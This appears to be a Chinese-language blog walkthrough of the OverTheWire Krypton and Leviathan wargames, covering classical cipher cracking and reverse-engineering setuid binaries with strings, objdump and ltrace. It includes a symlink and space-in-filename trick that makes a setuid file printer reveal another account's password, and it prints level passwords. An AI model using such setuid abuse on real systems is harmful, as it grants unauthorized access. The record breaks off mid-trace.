Ubuntu 22.04.2 LTS \n \l
krypton2@bandit:/tmp/krypton2$ /krypton/krypton2/encrypt /etc/issue
krypton2@bandit:/tmp/krypton2$ cat ciphertext
GNGZFGXFEZXkrypton2@bandit:/tmp/krypton2$
因此
krypton2@bandit:/tmp/krypton2$ cat /krypton/krypton2/krypton3 | tr [A-Z] [O-ZA-N]
CAESARISEASY
krypton2@bandit:/tmp/krypton2$
level3
提示是统计,那就知道了
krypton3@bandit:/krypton/krypton3$ cat found{1..3} | tr -cd '[:alpha:]' | fold -w1 | sort | uniq -c | sort -nr
456 S
340 Q
301 J
257 U
246 B
240 N
227 G
227 C
210 D
132 Z
130 V
129 W
86 M
84 Y
75 T
71 X
67 K
64 E
60 L
55 A
28 F
19 I
12 O
4 R
4 H
2 P
然后这儿有个这玩意,大概能看出来
但是不完全准,来回试试基本上就可以了
krypton3@bandit:/krypton/krypton3$ cat krypton4 | tr 'KSVWBDGIXMNYQUCAJ' 'WELDOHNVFURPASIBT'
WELLD ONETH ELELE LFOUP RASSW OPDIS XPUTE krypton3@bandit:/krypton/krypton3$
比如说你猜krypton里面有password,然后猜一下就行。
level4
直接看wp了反正是。。。
cleartext
这里有个破解这种密码的中文参考,可以看一看
level5
这回,搜了个脚本儿。。。
自己写是真不会。。。
当然,首先需要一点点小的命令
cat /krypton/krypton5/found{1..3} | tr -d '[:space:]' > output.txt
然后跑脚本
import string
# 加载密文
with open('output.txt', 'r') as f:
cipher = f.read()
#coding=utf-8
#-*- coding:utf-8 –*-
def c_alpha(cipher): # 去掉非字母后的密文
cipher_alpha = ''
for i in range(len(cipher)):
if (cipher[i].isalpha()):
cipher_alpha += cipher[i]
return cipher_alpha
# 计算cipher的重合指数
def count_CI(cipher):
N = [0.0 for i in range(26)]
cipher = c_alpha(cipher)
L = len(cipher)
if cipher == '':
return 0
else:
for i in range(L): #计算所有字母的频数,存在数组N当中
if (cipher[i].islower()):
N[ord(cipher[i]) - ord('a')] += 1
else:
N[ord(cipher[i]) - ord('A')] += 1
CI_1 = 0
for i in range(26):
CI_1 += ((N[i] / L) * ((N[i]-1) / (L-1)))
return CI_1
# 计算秘钥长度为 key_len 的重合指数
def count_key_len_CI(cipher,key_len):
un_cip = ['' for i in range(key_len)] # un_cip 是分组
aver_CI = 0.0
count = 0
for i in range(len(cipher_alpha)):
z = i % key_len
un_cip[z] += cipher_alpha[i]
for i in range(key_len):
un_cip[i]= count_CI(un_cip[i])
aver_CI += un_cip[i]
aver_CI = aver_CI/len(un_cip)
return aver_CI
## 找出最可能的前十个秘钥长度
def pre_10(cipher):
M = [(1,count_CI(cipher))]+[(0,0.0) for i in range(49)]
for i in range(2,50):
M[i] = (i,abs(0.065 - count_key_len_CI(cipher,i)))
M = sorted(M,key = lambda x:x[1]) #按照数组第二个元素排序
for i in range(1,10):
print (M[i])
F = [
0.0651738, 0.0124248, 0.0217339,
0.0349835, 0.1041442, 0.0197881,
0.0158610, 0.0492888, 0.0558094,
0.0009033, 0.0050529, 0.0331490,
0.0202124, 0.0564513, 0.0596302,
0.0137645, 0.0008606, 0.0497563,
0.0515760, 0.0729357, 0.0225134,
0.0082903, 0.0171272, 0.0013692,
0.0145984, 0.0007836
] # 英文字符频率。
cipher_alpha = c_alpha(cipher)
print ("秘钥长度为:")
pre_10(cipher)
然后有如下输出:
krypton5@bandit:/tmp/krypton5$ python3 test.py
秘钥长度为:
(9, 0.017139818147855056)
(36, 0.017203685000228598)
(18, 0.01721992202177322)
(27, 0.017472532653033286)
(45, 0.0176209079041227)
(33, 0.020346335439459143)
(48, 0.020422875620895405)
(24, 0.020464673333004946)
(30, 0.02051347672724485)
这个也看了一下wp,九位密码是准的,但是程序输出的密钥不准,不知为什么。
密钥是 keylength, 答案是 RANDOM
level6
这个还是那个维吉尼亚的变形,没有太难。
ciphertext = 'PNUKLYLWRQKGKBE'
key = 'EICTDGYIYZKTHNSIRFXYCPFUEOCKRN'
for c, k in zip(ciphertext, key):
p = ord('A') + ((ord(c) - ord(k)) % 26)
print(chr(p), end='')
print()
最后密码如下
LFSRISNOTRANDOM
ref
这些东西感觉知道原理就差不多了,自己写实在是没意思而且有些困难。
也有不少人写脚本分析,但是感觉那些脚本分析出来的也不是很准,还是需要人工来看,反正有兴趣的可以搜搜。
去网上看了看发现别人也是用工具,自己分析真是过于无聊了。 ref3
level0
ssh登录,老三样了
┌─🌵[myc@ubuntu22]─[~]
└──╼[11:00:33]$ ssh leviathan0@leviathan.labs.overthewire.org -p 2223
The authenticity of host '[leviathan.labs.overthewire.org]:2223 ([16.16.148.221]:2223)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:6: [hashed name]
~/.ssh/known_hosts:9: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[leviathan.labs.overthewire.org]:2223' (ED25519) to the list of known hosts.
_ _ _ _
| | _____ _(_) __ _| |_| |__ __ _ _ __
| |/ _ \ \ / / |/ _` | __| '_ \ / _` | '_ \
| | __/\ V /| | (_| | |_| | | | (_| | | | |
|_|\___| \_/ |_|\__,_|\__|_| |_|\__,_|_| |_|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
leviathan0@leviathan.labs.overthewire.org's password:
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to the #wargames channel on
discord or IRC.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few useful tools which you can find
in the following locations:
* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* peda (https://github.com/longld/peda.git) in /opt/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
Both python2 and python3 are installed.
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us on discord or IRC.
Enjoy your stay!
leviathan0@gibson:~$
level1
先看一眼存密码的地方
total 48
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 111 root root 12288 Apr 23 18:06 ../
-r-------- 1 leviathan0 leviathan0 11 Apr 23 18:04 leviathan0
-r-------- 1 leviathan1 leviathan1 11 Apr 23 18:04 leviathan1
-r-------- 1 leviathan2 leviathan2 11 Apr 23 18:04 leviathan2
-r-------- 1 leviathan3 leviathan3 11 Apr 23 18:04 leviathan3
-r-------- 1 leviathan4 leviathan4 11 Apr 23 18:04 leviathan4
-r-------- 1 leviathan5 leviathan5 11 Apr 23 18:04 leviathan5
-r-------- 1 leviathan6 leviathan6 11 Apr 23 18:04 leviathan6
-r-------- 1 leviathan7 leviathan7 11 Apr 23 18:04 leviathan7
leviathan0@gibson:~$
这挑战啥也不写,全靠脑洞啊。。。
leviathan0@gibson:~$ ll
total 24
drwxr-xr-x 3 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 83 root root 4096 Apr 23 18:06 ../
drwxr-x--- 2 leviathan1 leviathan0 4096 Apr 23 18:04 .backup/
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
leviathan0@gibson:~$ ll .backup
total 140
drwxr-x--- 2 leviathan1 leviathan0 4096 Apr 23 18:04 ./
drwxr-xr-x 3 root root 4096 Apr 23 18:04 ../
-rw-r----- 1 leviathan1 leviathan0 133259 Apr 23 18:04 bookmarks.html
leviathan0@gibson:~$ cat .backup/bookmarks.html | grep "pass"
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is PPIfmI1qsA" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan0@gibson:~$
反正进去以后看了看home,找到了
level2
先看一下文件
leviathan1@gibson:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=aab009a1eb3940df51c668d1c35dc9cdc1191805, for GNU/Linux 3.2.0, not stripped
说明如下:
setuid
:表示该可执行文件被设置了 SetUID 属性,即在执行该文件时,会使用该文件的所有者的权限来执行,而不是当前用户的权限。ELF
:表示该可执行文件使用 ELF 文件格式。32-bit
:表示该可执行文件是 32 位的。LSB
:表示该可执行文件遵循 LSB(Linux Standard Base)规范。Intel 80386
:表示该可执行文件是为 Intel 80386 架构编译的。version 1 (SYSV)
:表示该可执行文件使用 SYSV 版本 1 ABI 标准。dynamically linked
:表示该可执行文件使用动态链接库。interpreter /lib/ld-linux.so.2
:表示该可执行文件使用/lib/ld-linux.so.2
作为动态链接库的解释器。BuildID[sha1]=aab009a1eb3940df51c668d1c35dc9cdc1191805
:表示该可执行文件的构建 ID。for GNU/Linux 3.2.0
:表示该可执行文件是为 GNU/Linux 3.2.0 版本编译的。not stripped
:表示该可执行文件没有被剥离(stripped),即可执行文件中包含了符号表和调试信息,便于调试和分析。
一开始没思路,输了好几遍密码都错,然后用strings扫了一下
leviathan1@gibson:~$ strings check
td8
/lib/ld-linux.so.2
_IO_stdin_used
__libc_start_main
__stack_chk_fail
puts
printf
getchar
system
strcmp
geteuid
setreuid
libc.so.6
GLIBC_2.4
GLIBC_2.34
GLIBC_2.0
__gmon_start__
secrf
love
password:
/bin/sh
Wrong password, Good Bye ...
搞了一下它的汇编
leviathan1@gibson:~$ objdump -d check
check: file format elf32-i386
Disassembly of section .init:
08049000 <_init>:
8049000: f3 0f 1e fb endbr32
8049004: 53 push %ebx
8049005: 83 ec 08 sub $0x8,%esp
8049008: e8 13 01 00 00 call 8049120 <__x86.get_pc_thunk.bx>
804900d: 81 c3 f3 2f 00 00 add $0x2ff3,%ebx
8049013: 8b 83 fc ff ff ff mov -0x4(%ebx),%eax
8049019: 85 c0 test %eax,%eax
804901b: 74 02 je 804901f <_init+0x1f>
804901d: ff d0 call *%eax
804901f: 83 c4 08 add $0x8,%esp
8049022: 5b pop %ebx
8049023: c3 ret
Disassembly of section .plt:
08049030 <strcmp@plt-0x10>:
8049030: ff 35 04 c0 04 08 push 0x804c004
8049036: ff 25 08 c0 04 08 jmp *0x804c008
804903c: 00 00 add %al,(%eax)
...
08049040 <strcmp@plt>:
8049040: ff 25 0c c0 04 08 jmp *0x804c00c
8049046: 68 00 00 00 00 push $0x0
804904b: e9 e0 ff ff ff jmp 8049030 <_init+0x30>
08049050 <__libc_start_main@plt>:
8049050: ff 25 10 c0 04 08 jmp *0x804c010
8049056: 68 08 00 00 00 push $0x8
804905b: e9 d0 ff ff ff jmp 8049030 <_init+0x30>
08049060 <printf@plt>:
8049060: ff 25 14 c0 04 08 jmp *0x804c014
8049066: 68 10 00 00 00 push $0x10
804906b: e9 c0 ff ff ff jmp 8049030 <_init+0x30>
08049070 <getchar@plt>:
8049070: ff 25 18 c0 04 08 jmp *0x804c018
8049076: 68 18 00 00 00 push $0x18
804907b: e9 b0 ff ff ff jmp 8049030 <_init+0x30>
08049080 <__stack_chk_fail@plt>:
8049080: ff 25 1c c0 04 08 jmp *0x804c01c
8049086: 68 20 00 00 00 push $0x20
804908b: e9 a0 ff ff ff jmp 8049030 <_init+0x30>
08049090 <geteuid@plt>:
8049090: ff 25 20 c0 04 08 jmp *0x804c020
8049096: 68 28 00 00 00 push $0x28
804909b: e9 90 ff ff ff jmp 8049030 <_init+0x30>
080490a0 <puts@plt>:
80490a0: ff 25 24 c0 04 08 jmp *0x804c024
80490a6: 68 30 00 00 00 push $0x30
80490ab: e9 80 ff ff ff jmp 8049030 <_init+0x30>
080490b0 <system@plt>:
80490b0: ff 25 28 c0 04 08 jmp *0x804c028
80490b6: 68 38 00 00 00 push $0x38
80490bb: e9 70 ff ff ff jmp 8049030 <_init+0x30>
080490c0 <setreuid@plt>:
80490c0: ff 25 2c c0 04 08 jmp *0x804c02c
80490c6: 68 40 00 00 00 push $0x40
80490cb: e9 60 ff ff ff jmp 8049030 <_init+0x30>
Disassembly of section .text:
080490d0 <_start>:
80490d0: f3 0f 1e fb endbr32
80490d4: 31 ed xor %ebp,%ebp
80490d6: 5e pop %esi
80490d7: 89 e1 mov %esp,%ecx
80490d9: 83 e4 f0 and $0xfffffff0,%esp
80490dc: 50 push %eax
80490dd: 54 push %esp
80490de: 52 push %edx
80490df: e8 19 00 00 00 call 80490fd <_start+0x2d>
80490e4: 81 c3 1c 2f 00 00 add $0x2f1c,%ebx
80490ea: 6a 00 push $0x0
80490ec: 6a 00 push $0x0
80490ee: 51 push %ecx
80490ef: 56 push %esi
80490f0: c7 c0 e6 91 04 08 mov $0x80491e6,%eax
80490f6: 50 push %eax
80490f7: e8 54 ff ff ff call 8049050 <__libc_start_main@plt>
80490fc: f4 hlt
80490fd: 8b 1c 24 mov (%esp),%ebx
8049100: c3 ret
8049101: 66 90 xchg %ax,%ax
8049103: 66 90 xchg %ax,%ax
8049105: 66 90 xchg %ax,%ax
8049107: 66 90 xchg %ax,%ax
8049109: 66 90 xchg %ax,%ax
804910b: 66 90 xchg %ax,%ax
804910d: 66 90 xchg %ax,%ax
804910f: 90 nop
08049110 <_dl_relocate_static_pie>:
8049110: f3 0f 1e fb endbr32
8049114: c3 ret
8049115: 66 90 xchg %ax,%ax
8049117: 66 90 xchg %ax,%ax
8049119: 66 90 xchg %ax,%ax
804911b: 66 90 xchg %ax,%ax
804911d: 66 90 xchg %ax,%ax
804911f: 90 nop
08049120 <__x86.get_pc_thunk.bx>:
8049120: 8b 1c 24 mov (%esp),%ebx
8049123: c3 ret
8049124: 66 90 xchg %ax,%ax
8049126: 66 90 xchg %ax,%ax
8049128: 66 90 xchg %ax,%ax
804912a: 66 90 xchg %ax,%ax
804912c: 66 90 xchg %ax,%ax
804912e: 66 90 xchg %ax,%ax
08049130 <deregister_tm_clones>:
8049130: b8 38 c0 04 08 mov $0x804c038,%eax
8049135: 3d 38 c0 04 08 cmp $0x804c038,%eax
804913a: 74 24 je 8049160 <deregister_tm_clones+0x30>
804913c: b8 00 00 00 00 mov $0x0,%eax
8049141: 85 c0 test %eax,%eax
8049143: 74 1b je 8049160 <deregister_tm_clones+0x30>
8049145: 55 push %ebp
8049146: 89 e5 mov %esp,%ebp
8049148: 83 ec 14 sub $0x14,%esp
804914b: 68 38 c0 04 08 push $0x804c038
8049150: ff d0 call *%eax
8049152: 83 c4 10 add $0x10,%esp
8049155: c9 leave
8049156: c3 ret
8049157: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
804915e: 66 90 xchg %ax,%ax
8049160: c3 ret
8049161: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8049168: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
804916f: 90 nop
08049170 <register_tm_clones>:
8049170: b8 38 c0 04 08 mov $0x804c038,%eax
8049175: 2d 38 c0 04 08 sub $0x804c038,%eax
804917a: 89 c2 mov %eax,%edx
804917c: c1 e8 1f shr $0x1f,%eax
804917f: c1 fa 02 sar $0x2,%edx
8049182: 01 d0 add %edx,%eax
8049184: d1 f8 sar %eax
8049186: 74 20 je 80491a8 <register_tm_clones+0x38>
8049188: ba 00 00 00 00 mov $0x0,%edx
804918d: 85 d2 test %edx,%edx
804918f: 74 17 je 80491a8 <register_tm_clones+0x38>
8049191: 55 push %ebp
8049192: 89 e5 mov %esp,%ebp
8049194: 83 ec 10 sub $0x10,%esp
8049197: 50 push %eax
8049198: 68 38 c0 04 08 push $0x804c038
804919d: ff d2 call *%edx
804919f: 83 c4 10 add $0x10,%esp
80491a2: c9 leave
80491a3: c3 ret
80491a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80491a8: c3 ret
80491a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
080491b0 <__do_global_dtors_aux>:
80491b0: f3 0f 1e fb endbr32
80491b4: 80 3d 38 c0 04 08 00 cmpb $0x0,0x804c038
80491bb: 75 1b jne 80491d8 <__do_global_dtors_aux+0x28>
80491bd: 55 push %ebp
80491be: 89 e5 mov %esp,%ebp
80491c0: 83 ec 08 sub $0x8,%esp
80491c3: e8 68 ff ff ff call 8049130 <deregister_tm_clones>
80491c8: c6 05 38 c0 04 08 01 movb $0x1,0x804c038
80491cf: c9 leave
80491d0: c3 ret
80491d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80491d8: c3 ret
80491d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
080491e0 <frame_dummy>:
80491e0: f3 0f 1e fb endbr32
80491e4: eb 8a jmp 8049170 <register_tm_clones>
080491e6 <main>:
80491e6: 8d 4c 24 04 lea 0x4(%esp),%ecx
80491ea: 83 e4 f0 and $0xfffffff0,%esp
80491ed: ff 71 fc push -0x4(%ecx)
80491f0: 55 push %ebp
80491f1: 89 e5 mov %esp,%ebp
80491f3: 53 push %ebx
80491f4: 51 push %ecx
80491f5: 83 ec 20 sub $0x20,%esp
80491f8: 65 a1 14 00 00 00 mov %gs:0x14,%eax
80491fe: 89 45 f4 mov %eax,-0xc(%ebp)
8049201: 31 c0 xor %eax,%eax
8049203: c7 45 e0 73 65 78 00 movl $0x786573,-0x20(%ebp)
804920a: c7 45 ed 73 65 63 72 movl $0x72636573,-0x13(%ebp)
8049211: 66 c7 45 f1 65 74 movw $0x7465,-0xf(%ebp)
8049217: c6 45 f3 00 movb $0x0,-0xd(%ebp)
804921b: c7 45 e4 67 6f 64 00 movl $0x646f67,-0x1c(%ebp)
8049222: c7 45 e8 6c 6f 76 65 movl $0x65766f6c,-0x18(%ebp)
8049229: c6 45 ec 00 movb $0x0,-0x14(%ebp)
804922d: 83 ec 0c sub $0xc,%esp
8049230: 68 08 a0 04 08 push $0x804a008
8049235: e8 26 fe ff ff call 8049060 <printf@plt>
804923a: 83 c4 10 add $0x10,%esp
804923d: e8 2e fe ff ff call 8049070 <getchar@plt>
8049242: 88 45 dc mov %al,-0x24(%ebp)
8049245: e8 26 fe ff ff call 8049070 <getchar@plt>
804924a: 88 45 dd mov %al,-0x23(%ebp)
804924d: e8 1e fe ff ff call 8049070 <getchar@plt>
8049252: 88 45 de mov %al,-0x22(%ebp)
8049255: c6 45 df 00 movb $0x0,-0x21(%ebp)
8049259: 83 ec 08 sub $0x8,%esp
804925c: 8d 45 e0 lea -0x20(%ebp),%eax
804925f: 50 push %eax
8049260: 8d 45 dc lea -0x24(%ebp),%eax
8049263: 50 push %eax
8049264: e8 d7 fd ff ff call 8049040 <strcmp@plt>
8049269: 83 c4 10 add $0x10,%esp
804926c: 85 c0 test %eax,%eax
804926e: 75 2b jne 804929b <main+0xb5>
8049270: e8 1b fe ff ff call 8049090 <geteuid@plt>
8049275: 89 c3 mov %eax,%ebx
8049277: e8 14 fe ff ff call 8049090 <geteuid@plt>
804927c: 83 ec 08 sub $0x8,%esp
804927f: 53 push %ebx
8049280: 50 push %eax
8049281: e8 3a fe ff ff call 80490c0 <setreuid@plt>
8049286: 83 c4 10 add $0x10,%esp
8049289: 83 ec 0c sub $0xc,%esp
804928c: 68 13 a0 04 08 push $0x804a013
8049291: e8 1a fe ff ff call 80490b0 <system@plt>
8049296: 83 c4 10 add $0x10,%esp
8049299: eb 10 jmp 80492ab <main+0xc5>
804929b: 83 ec 0c sub $0xc,%esp
804929e: 68 1b a0 04 08 push $0x804a01b
80492a3: e8 f8 fd ff ff call 80490a0 <puts@plt>
80492a8: 83 c4 10 add $0x10,%esp
80492ab: b8 00 00 00 00 mov $0x0,%eax
80492b0: 8b 55 f4 mov -0xc(%ebp),%edx
80492b3: 65 2b 15 14 00 00 00 sub %gs:0x14,%edx
80492ba: 74 05 je 80492c1 <main+0xdb>
80492bc: e8 bf fd ff ff call 8049080 <__stack_chk_fail@plt>
80492c1: 8d 65 f8 lea -0x8(%ebp),%esp
80492c4: 59 pop %ecx
80492c5: 5b pop %ebx
80492c6: 5d pop %ebp
80492c7: 8d 61 fc lea -0x4(%ecx),%esp
80492ca: c3 ret
Disassembly of section .fini:
080492cc <_fini>:
80492cc: f3 0f 1e fb endbr32
80492d0: 53 push %ebx
80492d1: 83 ec 08 sub $0x8,%esp
80492d4: e8 47 fe ff ff call 8049120 <__x86.get_pc_thunk.bx>
80492d9: 81 c3 27 2d 00 00 add $0x2d27,%ebx
80492df: 83 c4 08 add $0x8,%esp
80492e2: 5b pop %ebx
80492e3: c3 ret
leviathan1@gibson:~$
其中的
movl $0x786573,-0x20(%ebp)
看出来密码是sex
说好的只需要基本的linux命令呢???太抽象了
leviathan1@gibson:~$ ./check
password: sex
$ cat /etc/leviathan_pass/leviathan2
mEh5PNl10e
$
他人解法
很好,然后去网上看了一下别人的答案,貌似有另一个好东西叫ltrace
这个玩意儿可以单步调试,然后就很简单了
leviathan1@gibson:~$ ltrace ./check
__libc_start_main(0x80491e6, 1, 0xffffd504, 0 <unfinished ...>
printf("password: ") = 10
getchar(0xf7fbe4a0, 0xf7fd6f80, 0x786573, 0x646f67password: 123
) = 49
getchar(0xf7fbe4a0, 0xf7fd6f31, 0x786573, 0x646f67) = 50
getchar(0xf7fbe4a0, 0xf7fd3231, 0x786573, 0x646f67) = 51
strcmp("123", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++
leviathan1@gibson:~$
这里有一个中文的教程
level3
直接运行会提示不成功
leviathan2@gibson:~$ ll
total 36
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 83 root root 4096 Apr 23 18:06 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-r-sr-x--- 1 leviathan3 leviathan2 15060 Apr 23 18:04 printfile*
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
leviathan2@gibson:~$ file printfile
printfile: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=32c7e041842883e05808ab99c763a0fc1849b84e, for GNU/Linux 3.2.0, not stripped
leviathan2@gibson:~$ printfile
printfile: command not found
leviathan2@gibson:~$ printfile --help
printfile: command not found
leviathan2@gibson:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@gibson:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
然后分别看一下
leviathan2@gibson:~$ ./printfile /etc/leviathan_pass/leviathan2
/bin/cat: /etc/leviathan_pass/leviathan2: Permission denied
leviathan2@gibson:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x80491e6, 2, 0xffffd4d4, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4) = -1
puts("You cant have that file..."You cant have that file...
) = 27
+++ exited (status 1) +++
leviathan2@gibson:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x80491e6, 2, 0xffffd4d4, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4) = -1
puts("You cant have that file..."You cant have that file...
) = 27
+++ exited (status 1) +++
leviathan2@gibson:~$ ltrace ./printfile .bashrc
__libc_start_main(0x80491e6, 2, 0xffffd4e4, 0 <unfinished ...>
access(".bashrc", 4) = 0
snprintf("/bin/cat .bashrc", 511, "/bin/cat %s", ".bashrc") = 16
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat .bashrc"# ~/.bashrc: executed by bash(1) for non-login shells.
这里的逻辑是,access函数来判断你是否有某个文件的权限,然后调用cat进行输出。因此可行的解释就是使用有空格的文件名,做一个软连接,这样cat只会读取第一个,就结束了。
leviathan2@gibson:~$ cd /tmp/
leviathan2@gibson:/tmp$ ls
ls: cannot open directory '.': Permission denied
leviathan2@gibson:/tmp$ mkdir hnz
leviathan2@gibson:/tmp$ cd hnz
leviathan2@gibson:/tmp/hnz$ ls
leviathan2@gibson:/tmp/hnz$ ll
total 732
drwxrwxr-x 2 leviathan2 leviathan2 4096 Jul 19 06:59 ./
drwxrwx-wt 16075 root root 741376 Jul 19 06:59 ../
leviathan2@gibson:/tmp/hnz$ touch "file1 file2.txt"
leviathan2@gibson:/tmp/hnz$ ls
file1 file2.txt
leviathan2@gibson:/tmp/hnz$ ln -s /etc/leviathan_pass/leviathan3 /tmp/hnz/file1
leviathan2@gibson:/tmp/hnz$ ll
total 732
drwxrwxr-x 2 leviathan2 leviathan2 4096 Jul 19 07:02 ./
drwxrwx-wt 16075 root root 741376 Jul 19 07:02 ../
lrwxrwxrwx 1 leviathan2 leviathan2 30 Jul 19 07:02 file1 -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Jul 19 07:00 file1 file2.txt
leviathan2@gibson:~$ ./printfile /tmp/hnz/"file1 file2.txt"
Q0G8j4sakn
/bin/cat: file2.txt: No such file or directory
leviathan2@gibson:~$
level4
还是先看一下
leviathan3@gibson:~$ ./level3
Enter the password> 123
bzzzzzzzzap. WRONG
leviathan3@gibson:~$ ltrace ./level3
__libc_start_main(0x80492bf, 1, 0xffffd504, 0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> 1234
"1234\n", 256, 0xf7e2a620) = 0xffffd2dc
strcmp("1234\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
然后就是直接读取了,这玩意儿就是一提权
leviathan3@gibson:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
AgvropI4OA
$
level5
画风越来越正常了
leviathan4@gibson:~/.trash$ ./bin
01000101 01001011 01001011 01101100 01010100 01000110 00110001 01011000 01110001 01110011 00001010
显然的ascii编码
echo "01000101 01001011 01001011 01101100 01010100 01000110 00110001 01011000 01110001 01110011 00001010" | perl -lape '$_=pack"(B8)*",@F'
EKKlTF1Xqs
level6
貌似直接输出了level5的密码
leviathan5@gibson:~$ ./leviathan5
EKKlTF1Xqs
看起来有个叫log的很有用
leviathan5@gibson:~$ ltrace ./leviathan5
__libc_start_main(0x8049206, 1, 0xffffd534, 0 <unfinished ...>
fopen("/tmp/file.log", "r") = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
) = 26
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan5@gibson:~$ ltrace ./leviathan5
__libc_start_main(0x8049206, 1, 0xffffd534, 0 <unfinished ...>
fopen("/tmp/file.log", "r") = 0x804d1a0
fgetc(0x804d1a0) = 'E'
feof(0x804d1a0) = 0
putchar(69, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 69
fgetc(0x804d1a0) = 'K'
feof(0x804d1a0) = 0
putchar(75, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 75
fgetc(0x804d1a0) = 'K'
feof(0x804d1a0) = 0
putchar(75, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 75
fgetc(0x804d1a0) = 'l'
feof(0x804d1a0) = 0
putchar(108, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 108
fgetc(0x804d1a0) = 'T'
feof(0x804d1a0) = 0
putchar(84, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 84
fgetc(0x804d1a0) = 'F'
feof(0x804d1a0) = 0
putchar(70, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 70
fgetc(0x804d1a0) = '1'
feof(0x804d1a0) = 0
putchar(49, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 49
fgetc(0x804d1a0) = 'X'
feof(0x804d1a0) = 0
putchar(88, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 88
fgetc(0x804d1a0) = 'q'
feof(0x804d1a0) = 0
putchar(113, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 113
fgetc(0x804d1a0) = 's'
feof(0x804d1a0) = 0
putchar(115, 0x804a008, 0xf7c184be, 0xf7fbe4a0) = 115
fgetc(0x804d1a0) = '\n'
feof(0x804d1a0) = 0
